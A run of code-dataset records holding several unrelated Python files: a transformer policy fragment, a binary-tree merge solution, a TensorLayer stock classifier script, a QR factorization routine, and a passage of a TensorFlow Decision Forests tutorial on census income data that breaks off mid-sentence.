state_action_pos_embs.append(state_pos_emb[:, i : i + 1, :])\n                        state_action_pos_embs.append(action_pos_emb[:, i : i + 1, :])\n                    state_action_pos_embs.append(state_pos_emb[:, i + 1 : i + 2, :])\n                    state_action_pos_embs = torch.cat(state_action_pos_embs, dim=1)\n                    out = self.xformer(state_action_pos_embs)\n                    s_out = []\n                    a_out = []\n                    for i in range(out.shape[1]):\n                        if not i % 2:\n                            a_out.append(out[:, i : i + 1, :])\n                        else:\n                            s_out.append(out[:, i : i + 1, :])\n                    s_out = torch.cat(s_out, dim=1)\n                    a_out = torch.cat(a_out, dim=1)\n                    s_out = self.s_head(s_out)\n                    a_out = self.a_head(a_out)\n                    a_out = a_out[:, -1:, :]\n                return a_out\n        else:\n            state, action = x\n            state_i = state\n            state_o = state[:, 1:, :]\n            action_i = action[:, :-1, :]\n            action_o = action\n            state_emb = self.s_ln(self.s_emb(state_i))\n            action_emb = self.a_ln(self.a_emb(action_i))\n            state_pos_emb = self.drop(state_emb + self.t_emb[:, : state_i.shape[1], :])\n            action_pos_emb = self.drop(\n                action_emb + self.t_emb[:, : action_i.shape[1], :]\n            )\n            state_action_pos_embs = []\n            for i in range(action_pos_emb.shape[1]):\n                state_action_pos_embs.append(state_pos_emb[:, i : i + 1, :])\n                state_action_pos_embs.append(action_pos_emb[:, i : i + 1, :])\n            state_action_pos_embs.append(state_pos_emb[:, i + 1 : i + 2, :])\n            state_action_pos_embs = torch.cat(state_action_pos_embs, dim=1)\n            out = self.xformer(state_action_pos_embs)\n            s_out = []\n            a_out = []\n            for i in range(out.shape[1]):\n                if not i % 2:\n                    a_out.append(out[:, i : i + 1, :])\n                else:\n                    s_out.append(out[:, i : i + 1, :])\n            s_out = torch.cat(s_out, dim=1)\n            a_out = torch.cat(a_out, dim=1)\n            s_out = self.s_head(s_out)\n            a_out = self.a_head(a_out)\n            assert a_out.shape == action_o.shape\n            assert s_out.shape == state_o.shape\n            return (s_out, a_out), (state_o, action_o)\n","sub_path":"policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":13571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"160519762","text":"class Solution:\n    def mergeTrees(self, t1, t2):\n        \"\"\"\n        :type t1: TreeNode\n        :type t2: TreeNode\n        :rtype: TreeNode\n        \"\"\"\n        if t1 == None or t1.val == None:\n            return t2\n        if t2 == None or t2.val == None:\n            return t1\n        new_root = t1.val + t2.val\n        new_left = self.mergeTrees(t1.left, t2.left)\n        new_right = self.mergeTrees(t1.right,t2.right)\n        new_tree = TreeNode(new_root)\n        new_tree.left,new_tree.right = new_left,new_right\n        return new_tree\n        ","sub_path":"Easy/617 Merge Two Binary Trees.py","file_name":"617 Merge Two Binary Trees.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"533470733","text":"#! /usr/bin/python3\r\n# -*- coding: utf8 -*-\r\n\r\n# https://raw.githubusercontent.com/tensorlayer/tensorlayer/master/examples/basic_tutorials/tutorial_mnist_simple.py\r\n# https://raw.githubusercontent.com/tensorlayer/tensorlayer/master/examples/text_generation/tutorial_generate_text.py\r\n# https://github.com/tensorlayer/tensorlayer/issues/12#issuecomment-271084773\r\n# https://www.jb51.net/article/134956.htm\r\n# https://www.jianshu.com/p/300b462a11c2\r\n\r\nimport tensorflow as tf\r\nimport tensorlayer as tl\r\nimport datetime\r\nimport numpy as np\r\nimport json\r\nimport sys\r\nimport os.path\r\nimport shutil\r\nfrom pathlib import Path\r\nsys.path.append(str(Path('.').resolve().parent))\r\nprint(sys.path)\r\nfrom confCsv3 import *\r\n\r\n\r\ntf.logging.set_verbosity(tf.logging.DEBUG)\r\ntl.logging.set_verbosity(tl.logging.DEBUG)\r\n\r\ndef main(argv):\r\n   code = \"1301\"\r\n   train = False\r\n\r\n   if len(argv) != 0:\r\n      code = argv[0]\r\n      if len(argv) > 1:\r\n         train = True\r\n\r\n   pqsConf = loadConf('../pqsConf.json')\r\n   dim     = pqsConf['dim']\r\n   dim2    = dim ** 2\r\n   n_cls   = pqsConf['n_cls']\r\n   inepoch = pqsConf['n_epoch']\r\n\r\n   INPUT_RECORD  = \"input.csv\"\r\n\r\n   # though its name is \"test\", to be used for the evaluation\r\n   IRIS_TEST     = \"iris_test.csv\"\r\n   # Read in test csv's where there are 7*7 features and a target\r\n   csvTest = np.genfromtxt(IRIS_TEST, delimiter=\",\", skip_header=1)\r\n   X_test = np.array(csvTest[:, :dim2])\r\n   y_test = csvTest[:,dim2]\r\n\r\n   IRIS_TRAINING = \"iris_training.csv\"\r\n\r\n   # Data loading and preprocessing\r\n   # Read in train csv's where there are 7*7 features and a target\r\n   csvTrain = np.genfromtxt(IRIS_TRAINING, delimiter=\",\", skip_header=1)\r\n   X_train = np.array(csvTrain[:, :dim2])\r\n   y_train = csvTrain[:,dim2]\r\n\r\n   # X_train = X_train.reshape([-1,7,7,1])\r\n   # X_test = X_test.reshape([-1,7,7,1])\r\n\r\n   # reshape Y and Y_test to have shape (batch_size, 1).\r\n   # y_train = y_train.reshape([-1, 28, 28, 1])\r\n   # y_test = y_test.reshape([-1, 28, 28, 1])\r\n\r\n   # X_val=[]\r\n   # X_val=np.array(X_val)\r\n\r\n   # y_val=[]\r\n   # y_val=np.array(y_val)\r\n\r\n\r\n   ### Ori ###\r\n   # prepare data\r\n   # X_train, y_train, X_val, y_val, X_test, y_test = \\\r\n   #                                tl.files.load_mnist_dataset(shape=(-1,784))\r\n   ###########\r\n\r\n   # define placeholder\r\n   with tf.name_scope('input'):\r\n      x = tf.placeholder(tf.float32, shape=[None, dim2], name='x')\r\n      y_ = tf.placeholder(tf.int64, shape=[None, ], name='y_')\r\n\r\n   with tf.name_scope('input_reshape'):\r\n      image_shaped_input = tf.reshape(x, [-1, dim, dim, 1])\r\n      tf.summary.image('input', image_shaped_input, 2)\r\n\r\n   path0 = '../stocks/' + code + '/out/'\r\n   npzPath = path0 + code + '.npz'\r\n\r\n   sess = tf.InteractiveSession()\r\n\r\n   # initialize all variables in the session\r\n   # tl.layers.initialize_global_variables(sess)\r\n   # init = tf.global_variables_initializer()\r\n\r\n   # define the network\r\n   network = tl.layers.InputLayer(x, name='input_layer')\r\n   network = tl.layers.DropoutLayer(network, keep=0.8, name='drop1')\r\n   network = tl.layers.DenseLayer(network, n_units=800,\r\n                                   act = tf.nn.relu, name='relu1')\r\n   network = tl.layers.DropoutLayer(network, keep=0.5, name='drop2')\r\n   network = tl.layers.DenseLayer(network, n_units=800,\r\n                                   act = tf.nn.relu, name='relu2')\r\n   '''\r\n   network = tl.layers.DropoutLayer(network, keep=0.8, name='drop3')\r\n   network = tl.layers.DenseLayer(network, n_units=800,\r\n                                   act = tf.nn.relu, name='relu3')\r\n   network = tl.layers.DropoutLayer(network, keep=0.8, name='drop4')\r\n   network = tl.layers.DenseLayer(network, n_units=800,\r\n                                   act = tf.nn.relu, name='relu4')\r\n   network = tl.layers.DropoutLayer(network, keep=0.8, name='drop5')\r\n   network = tl.layers.DenseLayer(network, n_units=800,\r\n                                   act = tf.nn.relu, name='relu5')\r\n   '''\r\n   network = tl.layers.DropoutLayer(network, keep=0.5, name='drop6')\r\n   # the softmax is implemented internally in tl.cost.cross_entropy(y, y_) to\r\n   # speed up computation, so we use identity here.\r\n   # see tf.nn.sparse_softmax_cross_entropy_with_logits()\r\n   network = tl.layers.DenseLayer(network, n_units=n_cls,\r\n                                  act = tf.identity,\r\n                                  name='output_layer')\r\n\r\n   # define cost function and metric.\r\n   y = network.outputs\r\n   cost = tl.cost.cross_entropy(y, y_, 'cost')\r\n   correct_prediction = tf.equal(tf.argmax(y, 1), y_)\r\n   acc = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n   y_op = tf.argmax(tf.nn.softmax(y), 1)\r\n\r\n   # <code>.npz exists and to use it directly\r\n   if os.path.isfile(npzPath) and not train:\r\n      tl.files.load_and_assign_npz(sess=sess, name=npzPath, network=network)\r\n   else:\r\n      # define the optimizer\r\n      train_params = network.all_params\r\n      train_op = tf.train.AdamOptimizer(learning_rate=0.0001, beta1=0.9, beta2=0.999,\r\n                                        epsilon=1e-08, use_locking=False).minimize(cost, var_list=train_params)\r\n\r\n      # https://tensorlayer.readthedocs.io/en/stable/_modules/tensorlayer/layers/utils.html#initialize_global_variables\r\n      # http://mosapro.hatenablog.com/entry/2017/05/17/094606\r\n\r\n      sess.run(tf.global_variables_initializer())\r\n\r\n      # print network information\r\n      network.print_params()\r\n      network.print_layers()\r\n\r\n      # train the network\r\n      # http://tensorlayer.readthedocs.io/en/latest/modules/utils.html\r\n      tl.utils.fit(sess, network, train_op, cost, X_train, y_train, x, y_,\r\n                  acc=acc, batch_size=50, n_epoch=inepoch, print_freq=111,\r\n                  eval_train=True)\r\n      #           X_val=X_val, y_val=y_val, eval_train=False)\r\n\r\n\r\n   # evaluation\r\n   # test_acc = tl.utils.test(sess, network, acc, X_test, y_test, x, y_, batch_size=None, cost=cost)\r\n   #### https://tensorlayer.readthedocs.io/en/1.3.0/_modules/tensorlayer/utils.html#test\r\n   #### /usr/local/lib/python2.7/dist-packages/tensorlayer/utils.py - if needs patching\r\n\r\n   y_predict = tl.utils.predict(sess, network, X_test, x, y_op)\r\n   c_mat, f1, test_acc, f1_macro = tl.utils.evaluation(y_test=y_test, y_predict=y_predict, n_classes=n_cls)\r\n\r\n   # save the network to .npz file\r\n   tl.files.save_npz(network.all_params , name=npzPath)\r\n\r\n   # predict\r\n   new_samples = []\r\n   inRecord = np.genfromtxt(INPUT_RECORD, delimiter=\",\")\r\n   new_samples.append(inRecord)\r\n\r\n   result = tl.utils.predict(sess, network, new_samples, x, y_op)\r\n\r\n   sess.close()\r\n\r\n   # For report\r\n   item = {}\r\n   # Read in\r\n   with open(path0 + 'item.json') as infile:\r\n      item = json.load(infile)\r\n\r\n   item['possibility'] = round(test_acc, 6)\r\n   item['result'] = int(result[0])\r\n\r\n   # Write out\r\n   with open(path0 + 'item.json', 'w') as outfile:\r\n      json.dump(item, outfile)\r\n\r\n   # Backup\r\n   if train:\r\n      tm = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\r\n      fn = 'item_' + tm + '.json'\r\n      shutil.copy(path0 + 'item.json', path0 + 'history/' + fn)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n   main(sys.argv[1:])\r\n\r\n\r\n# Ref: http://qiita.com/akasakas/items/fad4ca279c9a726998e0\r\n","sub_path":"tf/sante/python3/pqs3_0.py","file_name":"pqs3_0.py","file_ext":"py","file_size_in_byte":7226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"623132036","text":"# -*- coding: utf-8 -*-\n\n#Código de factorización QR\n#Creado por Antonio Lamas Villar\n\nimport numpy as np\nfrom numpy import linalg as alg\nimport matplotlib.pyplot as plt\n\n\n#Función factorización QR\ndef fact_qr(a):\n    [m,n]=np.shape(a)\n    mc=np.zeros([m,n])\n    mc[:,0]=a[:,0]/alg.norm(a[:,0])    \n    mr=np.zeros([n,n])\n    mr[0,0]=alg.norm(a[:,0])\n        \n    for i in range(1,n):\n        q=mc[:,0:i]\n        q=np.eye(m)-(mc.dot(mc.T))\n        mc[:,i]=q.dot(a[:,i])\n        mr[i,i]=alg.norm(mc[:,i])\n        mc[:,i]=mc[:,i]/mr[i,i]\n        for j in range(0,i):\n            mr[j,i]=mc[:,j].T.dot(a[:,i])\n    return(mc,mr)\n  \n  \na_matriz=np.array([[7,5,96],[2,3,4],[3,4,5]])\n(mc,mr)=fact_qr(a_matriz)\nprint(mc.dot(mr))\n\n\n    ","sub_path":"factorizacion_QR.py","file_name":"factorizacion_QR.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"109298055","text":"\"\"\"\nTitle: Classification with TensorFlow Decision Forests\nAuthor: [Khalid Salama](https://www.linkedin.com/in/khalid-salama-24403144/)\nDate created: 2022/01/25\nLast modified: 2022/01/25\nDescription: Using TensorFlow Decision Forests for structured data classification.\n\"\"\"\n\n\"\"\"\n## Introduction\n\n[TensorFlow Decision Forests](https://www.tensorflow.org/decision_forests)\nis a collection of state-of-the-art algorithms of Decision Forest models\nthat are compatible with Keras APIs.\nThe models include [Random Forests](https://www.tensorflow.org/decision_forests/api_docs/python/tfdf/keras/RandomForestModel),\n[Gradient Boosted Trees](https://www.tensorflow.org/decision_forests/api_docs/python/tfdf/keras/GradientBoostedTreesModel),\nand [CART](https://www.tensorflow.org/decision_forests/api_docs/python/tfdf/keras/CartModel),\nand can be used for regression, classification, and ranking task.\n\nThis example uses Gradient Boosted Trees model in binary classification of\nstructured data, and covers the following scenarios:\n\n1. Build a decision forests model by specifying the input feature usage.\n2. Implement a custom *Binary Target encoder* as a [Keras Preprocessing layer](https://keras.io/api/layers/preprocessing_layers/)\nto encode the categorical features with respect to their target value co-occurrences,\nand then use the encoded features to build a decision forests model.\n3. Encode the categorical features as [embeddings](https://keras.io/api/layers/core_layers/embedding),\ntrain these embeddings in a simple linear model, and then use the\ntrained embeddings as inputs to build decision forests model.\n\nThis example uses TensorFlow 2.7 or higher,\nas well as [TensorFlow Decision Forests](https://www.tensorflow.org/decision_forests),\nwhich you can install using the following command:\n\n```python\npip install -U tensorflow_decision_forests\n```\n\"\"\"\n\n\"\"\"\n## Setup\n\"\"\"\n\nimport math\nimport urllib\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nimport tensorflow_decision_forests as tfdf\n\n\"\"\"\n## Prepare the data\n\nThis example uses the\n[United States Census Income Dataset](https://archive.ics.uci.edu/ml/datasets/Census-Income+%28KDD%29)\nprovided by the [UC Irvine Machine Learning Repository](https://archive.ics.uci.edu/ml/index.php).\nThe task is binary classification to determine whether a person makes over 50K a year.\n\nThe dataset includes ~300K instances with 41 input features: 7 numerical features\nand 34 categorical features.\n\nFirst we load the data from the UCI Machine Learning Repository into a Pandas DataFrame.\n\"\"\"\n\nBASE_PATH = \"https://archive.ics.uci.edu/ml/machine-learning-databases/census-income-mld/census-income\"\nCSV_HEADER = [\n    l.decode(\"utf-8\").split(\":\")[0].replace(\" \", \"_\")\n    for l in urllib.request.urlopen(f\"{BASE_PATH}.names\")\n    if not l.startswith(b\"|\")\n][2:]\nCSV_HEADER.append(\"income_level\")\n\ntrain_data = pd.read_csv(f\"{BASE_PATH}.data.gz\", header=None, names=CSV_HEADER,)\ntest_data = pd.read_csv(f\"{BASE_PATH}.test.gz\", header=None, names=CSV_HEADER,)\n\n\"\"\"\nWe convert the target column from string to integer.\n\"\"\"\n\ntarget_labels = [\" - 50000.\", \" 50000+.\"]\ntrain_data[\"income_level\"] = train_data[\"income_level\"].map(target_labels.index)\ntest_data[\"income_level\"] = test_data[\"income_level\"].map(target_labels.index)\n\n\"\"\"\nNow let's show the shapes of the training and test dataframes, and display some instances.\n\"\"\"\n\nprint(f\"Train data shape: {train_data.shape}\")\nprint(f\"Test data shape: {test_data.shape}\")\nprint(train_data.head().T)\n\n\"\"\"\n## Define dataset metadata\n\nHere, we define the metadata of the dataset that will be useful for encoding\nthe input features with respect to their types.\n\"\"\"\n\n# Target column name.\nTARGET_COLUMN_NAME = \"income_level\"\n# Weight column name.\nWEIGHT_COLUMN_NAME = \"instance_weight\"\n# Numeric feature names.\nNUMERIC_FEATURE_NAMES = [\n    \"age\",\n    \"wage_per_hour\",\n    \"capital_gains\",\n    \"capital_losses\",\n    \"dividends_from_stocks\",\n    \"num_persons_worked_for_employer\",\n    \"weeks_worked_in_year\",\n]\n# Categorical features and their vocabulary lists.\nCATEGORICAL_FEATURES_WITH_VOCABULARY = {\n    feature_name: sorted(\n        [str(value) for value in list(train_data[feature_name].unique())]\n    )\n    for feature_name in CSV_HEADER\n    if feature_name\n    not in list(NUMERIC_FEATURE_NAMES + [WEIGHT_COLUMN_NAME, TARGET_COLUMN_NAME])\n}\n# All features names.\nFEATURE_NAMES = NUMERIC_FEATURE_NAMES + list(\n    CATEGORICAL_FEATURES_WITH_VOCABULARY.keys()\n)\n\n\"\"\"\n## Configure hyperparameters\n\nYou can find all the parameters of the Gradient Boosted Tree model in the\n[documentation](https://www.tensorflow.org/decision_forests/api_docs/python/tfdf/keras/GradientBoostedTreesModel)\n\"\"\"\n\nGROWING_STRATEGY = \"BEST_FIRST_GLOBAL\"\nNUM_TREES = 250\nMIN_EXAMPLES = 6\nMAX_DEPTH = 5\nSUBSAMPLE = 0.65\nSAMPLING_METHOD = \"RANDOM\"\nVALIDATION_RATIO = 0.1\n\n\"\"\"\n## Implement a training and evaluation procedure\n\"\"\"\n\n\ndef prepare_sample(features, target, weight):\n    for feature_name in features:\n        if feature_name in CATEGORICAL_FEATURES_WITH_VOCABULARY:\n            if features[feature_name].dtype != tf.dtypes.string:\n                # Convert categorical feature values to string.\n                features[feature_name] = tf.strings.as_string(features[feature_name])\n    return features, target, weight\n\n\ndef run_experiment(model, train_data, test_data, num_epochs=1, batch_size=None):\n\n    train_dataset = tfdf.keras.pd_dataframe_to_tf_dataset(\n        train_data, label=TARGET_COLUMN_NAME, weight=WEIGHT_COLUMN_NAME\n    ).map(prepare_sample, num_parallel_calls=tf.data.AUTOTUNE)\n    test_dataset = tfdf.keras.pd_dataframe_to_tf_dataset(\n        test_data, label=TARGET_COLUMN_NAME, weight=WEIGHT_COLUMN_NAME\n    ).map(prepare_sample, num_parallel_calls=tf.data.AUTOTUNE)\n\n    model.fit(train_dataset, epochs=num_epochs, batch_size=batch_size)\n    _, accuracy = model.evaluate(test_dataset, verbose=0)\n    print(f\"Test accuracy: {round(accuracy * 100, 2)}%\")\n\n\n\"\"\"\n## Create model inputs\n\"\"\"\n\n\ndef create_model_inputs():\n    inputs = {}\n    for feature_name in FEATURE_NAMES:\n        if feature_name in NUMERIC_FEATURE_NAMES:\n            inputs[feature_name] = layers.Input(\n                name=feature_name, shape=(), dtype=tf.float32\n            )\n        else:\n            inputs[feature_name] = layers.Input(\n                name=feature_name, shape=(), dtype=tf.string\n            )\n    return inputs\n\n\n\"\"\"\n## Experiment 1: Decision Forests with raw features\n\"\"\"\n\n\"\"\"\n### Specify model input feature usages\n\nYou can attach semantics to each feature to control how it is used by the model.\nIf not specified, the semantics are inferred from the representation type.\nIt is recommended to specify the [feature usages](https://www.tensorflow.org/decision_forests/api_docs/python/tfdf/keras/FeatureUsage)\nexplicitly to avoid incorrect inferred semantics is incorrect.\nFor example, a categorical value identifier (integer) will be be inferred as numerical,\nwhile it is semantically categorical.\n\nFor numerical features, you can set the `discretized` parameters to the number\nof buckets by which the numerical feature should be discretized.\nThis makes the training faster but may lead to worse models.\n\"\"\"\n\n\ndef specify_feature_usages(inputs):\n    feature_usages = []\n\n    for feature_name in inputs:\n        if inputs[feature_name].dtype == tf.dtypes.float32:\n            feature_usage = tfdf.keras.FeatureUsage(\n                name=feature_name, semantic=tfdf.keras.FeatureSemantic.NUMERICAL\n            )\n        else:\n            feature_usage = tfdf.keras.FeatureUsage(\n                name=feature_name, semantic=tfdf.keras.FeatureSemantic.CATEGORICAL\n            )\n\n        feature_usages.append(feature_usage)\n    return feature_usages\n\n\n\"\"\"\n### Create a Gradient Boosted Trees model\n\nWhen compiling a decision forests model, you may only provide extra evaluation metrics.\nThe loss is specified in the model construction,\nand the optimizer is irrelevant to decision forests models.\n\"\"\"\n\n\ndef create_gbt_model():\n    gbt_model = tfdf.keras.GradientBoostedTreesModel(\n        features=specify_feature_usages(create_model_inputs()),\n        exclude_non_specified_features=True,\n        growing_strategy=GROWING_STRATEGY,\n        num_trees=NUM_TREES,\n        max_depth=MAX_DEPTH,\n        min_examples=MIN_EXAMPLES,\n        subsample=SUBSAMPLE,\n        validation_ratio=VALIDATION_RATIO,\n        task=tfdf.keras.Task.CLASSIFICATION,\n        loss=\"DEFAULT\",\n    )\n\n    gbt_model.compile(metrics=[keras.metrics.BinaryAccuracy(name=\"accuracy\")])\n    return gbt_model\n\n\n\"\"\"\n### Train and evaluate the model\n\nNote that when training a Decision Forests model, only one epoch is needed to\nread the full dataset. Any extra steps will result in unnecessary slower training.\nTherefore, the default `num_epochs=1` is used in the `run_experiment` method.\n\"\"\"\n\ngbt_model = create_gbt_model()\nrun_experiment(gbt_model, train_data, test_data)\n\n\"\"\"\n### Inspect the model\n\nThe `model.summary()` method will display several types of information about\nyour decision trees model, model type, task, input features, and feature importance.\n\"\"\"\n\nprint(gbt_model.summary())\n\n\"\"\"\n## Experiment 2: Decision Forests with target encoding\n\n[Target encoding](https://dl.acm.org/doi/10.1145/507533.507538) is a common preprocessing\ntechnique for categorical features that convert them into numerical features.\nUsing categorical features with high cardinality as-is may lead to overfitting.\nTarget encoding aims to replace each categorical feature value with one or more\nnumerical values that represent its co-occurrence with the target labels.\n\nMore precisely, given a categorical feature, the binary target encoder in this example\nwill produce three new numerical features:\n\n1. `positive_frequency`: How many times each feature value occurred with a positive target label.\n2. `negative_frequency`: How many times each feature value occurred with a negative target label.\n3. `positive_probability`: The probability that the target label is positive,\ngiven the feature value, which is computed as\n`positive_frequency / (positive_frequency + negative_frequency)`.\n\n\nNote that target encoding is effective with models that cannot automatically\nlearn dense representations to categorical features, such as decision forests\nor kernel methods. If neural network models are used, its recommended to\nencode categorical features as embeddings.\n\"\"\"\n\n\"\"\"\n### Implement Binary Target Encoder\n\nFor simplicity, we assume that the inputs for the `adapt` and `call` methods\nare in the expected data types and shapes, so no validation logic is added.\n\"\"\"\n\n\nclass BinaryTargetEncoding(layers.Layer):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n\n    def adapt(self, data):\n        # data is expected to be an integer numpy array to a Tensor shape [num_exmples, 2].\n        # This contains feature values for a given feature in the dataset, and target values.\n\n        # Convert the data to a tensor.\n        data = tf.convert_to_tensor(data)\n        # Separate the feature values and target values\n        feature_values = tf.cast(data[:, 0], tf.dtypes.int64)\n        target_values = tf.cast(data[:, 1], tf.dtypes.bool)\n\n        print(\"Target encoding: Computing unique feature values...\")\n        # Get feature vocabulary.\n        unique_feature_values = tf.sort(tf.unique(feature_values).y)\n\n        print(\n            \"Target encoding: Computing frequencies for feature values with positive targets...\"\n        )\n        # Filter the data where the target label is positive.\n        positive_indices = tf.where(condition=target_values)\n        postive_feature_values = tf.gather_nd(\n            params=feature_values, indices=positive_indices\n        )\n        # Compute how many times each feature value occurred with a positive target label.\n        positive_frequency = tf.math.unsorted_segment_sum(\n            data=tf.ones(\n                shape=(postive_feature_values.shape[0], 1), dtype=tf.dtypes.int32\n            ),\n            segment_ids=postive_feature_values,\n            num_segments=unique_feature_values.shape[0],\n        )\n\n        print(\n            \"Target encoding: Computing frequencies for feature values with negative targets...\"\n        )\n        # Filter the data where the target label is negative.\n        negative_indices = tf.where(condition=tf.math.logical_not(target_values))\n        negative_feature_values = tf.gather_nd(\n            params=feature_values, indices=negative_indices\n        )\n        # Compute how many times each feature value occurred with a negative target label.\n        negative_frequency = tf.math.unsorted_segment_sum(\n            data=tf.ones(\n                shape=(negative_feature_values.shape[0], 1), dtype=tf.dtypes.int32\n            ),\n            segment_ids=negative_feature_values,\n            num_segments=unique_feature_values.shape[0],\n        )\n\n        print(\"Target encoding: Storing target encoding statistics...\")\n        self.positive_frequency_lookup = tf.constant(positive_frequency)\n        self.negative_frequency_lookup = tf.constant(negative_frequency)\n\n    def reset_state(self):\n        self.positive_frequency_lookup = None\n        self.negative_frequency_lookup = None\n\n    def call(self, inputs):\n        # inputs is expected to be an integer numpy array to a Tensor shape [num_exmples, 1].\n        # This includes the feature values for a given feature in the dataset.\n\n        # Raise an error if the target encoding statistics are not computed.\n        if (\n            self.positive_frequency_lookup == None\n            or self.negative_frequency_lookup == None\n        ):\n            raise ValueError(\n                f\"You need to call the adapt method to compute target encoding statistics.\"\n            )\n\n        # Convert the inputs to a tensor.\n        inputs = tf.convert_to_tensor(inputs)\n        # Cast the inputs int64 a tensor.\n        inputs = tf.cast(inputs, tf.dtypes.int64)\n        # Lookup positive frequencies for the input feature values.\n        positive_fequency = tf.cast(\n            tf.gather_nd(self.positive_frequency_lookup, inputs),\n            dtype=tf.dtypes.float32,\n        )\n        # Lookup negative frequencies for the input feature values.\n        negative_fequency = tf.cast(\n            tf.gather_nd(self.negative_frequency_lookup, inputs),\n            dtype=tf.dtypes.float32,\n        )\n        # Compute positive probability for the input feature values.\n        positive_probability = positive_fequency / (\n            positive_fequency + negative_fequency\n        )\n        # Concatenate and return the looked-up statistics.\n        return tf.concat(\n            [positive_fequency, negative_fequency, positive_probability], axis=1\n        )\n\n\n\"\"\"\nLet's test the binary target encoder\n\"\"\"\n\ndata = tf.constant(\n    [\n        [0, 1],\n        [2, 0],\n        [0, 1],\n        [1, 1],\n        [1, 1],\n        [2, 0],\n        [1, 0],\n        [0, 1],\n        [2, 1],\n        [1, 0],\n        [0, 1],\n        [2, 0],\n        [0, 1],\n        [1, 1],\n        [1, 1],\n        [2, 0],\n        [1, 0],\n        [0, 1],\n        [2, 0],\n    ]\n)\n\nbinary_target_encoder = BinaryTargetEncoding()\nbinary_target_encoder.adapt(data)\nprint(binary_target_encoder([[0], [1], [2]]))\n\n\"\"\"\n### Implement a feature encoding with target encoding\n\"\"\"\n\n\ndef create_target_encoder():\n    inputs = create_model_inputs()\n    target_values = train_data[[TARGET_COLUMN_NAME]].to_numpy()\n    encoded_features = []\n    for feature_name in inputs:\n        if feature_name in CATEGORICAL_FEATURES_WITH_VOCABULARY:\n            vocabulary = CATEGORICAL_FEATURES_WITH_VOCABULARY[feature_name]\n            # Create a lookup to convert string values to an integer indices.\n            # Since we are not using a mask token nor expecting any out of vocabulary\n            # (oov) token, we set mask_token to None and  num_oov_indices to 0.\n            lookup = layers.StringLookup(\n                vocabulary=vocabulary, mask_token=None, num_oov_indices=0\n            )\n            # Convert the string input values into integer indices.\n            value_indices = lookup(inputs[feature_name])\n            # Prepare the data to adapt the target encoding.\n            print(\"### Adapting target encoding for:\", feature_name)\n            feature_values = train_data[[feature_name]].to_numpy().astype(str)\n            feature_value_indices = lookup(feature_values)\n            data = tf.concat([feature_value_indices, target_values], axis=1)\n            feature_encoder = BinaryTargetEncoding()\n            feature_encoder.adapt(data)\n            # Convert the feature value indices to target encoding representations.\n            encoded_feature = feature_encoder(tf.expand_dims(value_indices, -1))\n        else:\n            # Expand the dimensions of the numerical input feature and use it as-is.\n            encoded_feature = tf.expand_dims(inputs[feature_name], -1)\n        # Add the encoded feature to the list.\n        encoded_features.append(encoded_feature)\n    # Concatenate all the encoded features.\n    encoded_features = tf.concat(encoded_features, axis=1)\n    # Create and return a Keras model with encoded features as outputs.\n    return keras.Model(inputs=inputs, outputs=encoded_features)\n\n\n\"\"\"\n### Create a Gradient Boosted Trees model with a preprocessor\n\nIn this scenario, we use the target encoding as a preprocessor for the Gradient Boosted Tree model,\nand let the model infer semantics of the input features.\n\"\"\"\n\n\ndef create_gbt_with_preprocessor(preprocessor):\n\n    gbt_model = tfdf.keras.GradientBoostedTreesModel(\n        preprocessing=preprocessor,\n        growing_strategy=GROWING_STRATEGY,\n        num_trees=NUM_TREES,\n        max_depth=MAX_DEPTH,\n        min_examples=MIN_EXAMPLES,\n        subsample=SUBSAMPLE,\n        validation_ratio=VALIDATION_RATIO,\n        task=tfdf.keras.Task.CLASSIFICATION,\n    )\n\n    gbt_model.compile(metrics=[keras.metrics.BinaryAccuracy(name=\"accuracy\")])\n\n    return gbt_model\n\n\n\"\"\"\n### Train and evaluate the model\n\"\"\"\n\ngbt_model = create_gbt_with_preprocessor(create_target_encoder())\nrun_experiment(gbt_model, train_data, test_data)\n\n\"\"\"\n## Experiment 3: Decision Forests with trained embeddings\n\nIn this scenario, we build an encoder model that codes the categorical\nfeatures to embeddings, where the size of the embedding for a given categorical\nfeature is the square root to the size of its vocabulary.\n\nWe train these embeddings in a simple linear model through backpropagation.\nAfter the embedding encoder is trained, we used it as a preprocessor to the\ninput features of a Gradient Boosted Tree model.\n\nNote that the embeddings and a decision forest model cannot be trained\nsynergically in one phase, since decision forest models do not train with backpropagation.\nRather, embeddings has to be trained in an initial phase,\nand then used as static inputs to the decision forest model.\n\"\"\"\n\n\"\"\"\n### Implement feature encoding with embeddings\n\"\"\"\n\n\ndef create_embedding_encoder():\n    inputs = create_model_inputs()\n    encoded_features = []\n    for feature_name in inputs:\n        if feature_name in CATEGORICAL_FEATURES_WITH_VOCABULARY:\n            vocabulary = CATEGORICAL_FEATURES_WITH_VOCABULARY[feature_name]\n            # Create a lookup to convert string values to an integer indices.\n            # Since we are not using a mask token nor expecting any out of vocabulary\n            # (oov) token, we set mask_token to None and  num_oov_indices to 0.\n            lookup = layers.StringLookup(\n                vocabulary=vocabulary, mask_token=None, num_oov_indices=0\n            )\n            # Convert the string input values into integer indices.\n            value_index = lookup(inputs[feature_name])\n            # Create an embedding layer with the specified dimensions\n            vocabulary_size = len(vocabulary)\n            embedding_size = int(math.sqrt(vocabulary_size))\n            feature_encoder = layers.Embedding(\n                input_dim=len(vocabulary), output_dim=embedding_size\n            )\n            # Convert the index values to embedding representations.\n            encoded_feature = feature_encoder(value_index)\n        else:\n            # Expand the dimensions of the numerical input feature and use it as-is.\n            encoded_feature = tf.expand_dims(inputs[feature_name], -1)\n        # Add the encoded feature to the list.\n        encoded_features.append(encoded_feature)\n    # Concatenate all the encoded features.\n    encoded_features = layers.concatenate(encoded_features, axis=1)\n    # Create and return a Keras model with encoded features as outputs.\n    return keras.Model(inputs=inputs, outputs=encoded_features)\n\n\n\"\"\"\n### Build a linear model to train the 